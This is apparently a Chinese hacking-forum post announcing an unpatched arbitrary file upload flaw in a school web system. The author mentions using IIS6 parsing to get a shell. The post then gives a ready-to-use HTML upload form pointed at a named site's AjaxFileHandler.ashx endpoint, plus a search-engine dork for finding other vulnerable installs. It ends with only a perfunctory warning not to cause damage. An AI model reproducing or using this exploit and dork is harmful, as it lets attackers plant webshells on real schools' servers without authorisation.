学校渗透系统

今天日站发现了一个 0day 学校的 
 
这是一个任意上传漏洞 不用后台权限 
 
本地搭建上传 成功得到一个shell 
 
这个系统还有编辑器上传不重命名的 可以利用iis6的解析漏洞 
 
服务器是内网的 我没去进一步渗透 
附上exp: 
<form action=" http://www.qiaocui.net/AjaxFileHandler.ashx ?
random=0.20770328072831035&action=upload&root=Uploads&sub=Forum&size=307200" method="post" 
name="upload" enctype="multipart/form-data">
<input type="file" name="ForumEdit:fileUpload">
<input type="submit" value="upload">
</form>关键词:inurl:/info1.aspx?iid= 
请各位不要去搞破坏 日站判十年!!!!!